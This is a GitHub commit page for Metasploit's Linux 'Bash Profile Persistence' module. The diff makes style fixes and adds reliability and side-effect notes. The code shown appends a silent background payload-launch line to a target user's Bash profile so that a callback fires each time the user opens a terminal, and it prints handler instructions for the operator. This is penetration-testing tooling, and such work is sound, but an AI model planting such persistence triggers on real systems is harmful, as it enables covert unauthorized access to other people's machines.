Skip to content

Commit

Permalink
bash_profile_persistence: Add notes and resolve rubocop violations
Browse files Browse the repository at this point in the history
  • Loading branch information
bcoles committed Dec 21, 2021
1 parent 8d808d1 commit 641a2a8
Showing 1 changed file with 13 additions and 10 deletions.
23 changes: 13 additions & 10 deletions modules/exploits/linux/local/bash_profile_persistence.rb
Original file line number Diff line number Diff line change
Expand Up @@ -15,12 +15,10 @@ def initialize(info = {})
info,
'Name' => 'Bash Profile Persistence',
'Description' => %q{
"
This module writes an execution trigger to the target's Bash profile.
The execution trigger executes a call back payload whenever the target
user opens a Bash terminal. A handler is not run automatically, so you
must configure an appropriate exploit/multi/handler to receive the callback.
"
},
'License' => MSF_LICENSE,
'Author' => [
Expand Down Expand Up @@ -48,7 +46,12 @@ def initialize(info = {})
},
'References' => [
['URL', 'https://attack.mitre.org/techniques/T1156/']
]
],
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ]
}
)
)

Expand Down Expand Up @@ -92,27 +95,27 @@ def exploit
# write payload trigger to Bash profile
exec_payload_string = "#{payload_file} > /dev/null 2>&1 &" + "\n" # send stdin,out,err to /dev/null
append_file(profile_path, exec_payload_string)
print_good("Created Bash profile persistence")
print_status("Payload will be triggered when target opens a Bash terminal")
print_good('Created Bash profile persistence')
print_status('Payload will be triggered when target opens a Bash terminal')
print_warning("Don't forget to start your handler:")
print_warning("msf> handler -H #{datastore['LHOST']} -P #{datastore['LPORT']} -p #{datastore['PAYLOAD']}")
end

# create a backup copy of the target's Bash profile on the local system before persistence is added
def create_backup_file(backup_profile)
begin
hostname = session.sys.config.sysinfo["Computer"]
rescue
hostname = cmd_exec("hostname")
hostname = session.sys.config.sysinfo['Computer']
rescue StandardError
hostname = cmd_exec('hostname')
end

timestamp = "_" + ::Time.now.strftime("%Y%m%d.%H%M%S")
timestamp = '_' + ::Time.now.strftime('%Y%m%d.%H%M%S')

log_directory_name = ::File.join(Msf::Config.log_directory, 'persistence/' + hostname + timestamp)

::FileUtils.mkdir_p(log_directory_name)

log_file_name = log_directory_name + "/Bash_Profile.backup"
log_file_name = log_directory_name + '/Bash_Profile.backup'
file_local_write(log_file_name, backup_profile)
return log_file_name
end
Expand Down

0 comments on commit 641a2a8

Please sign in to comment.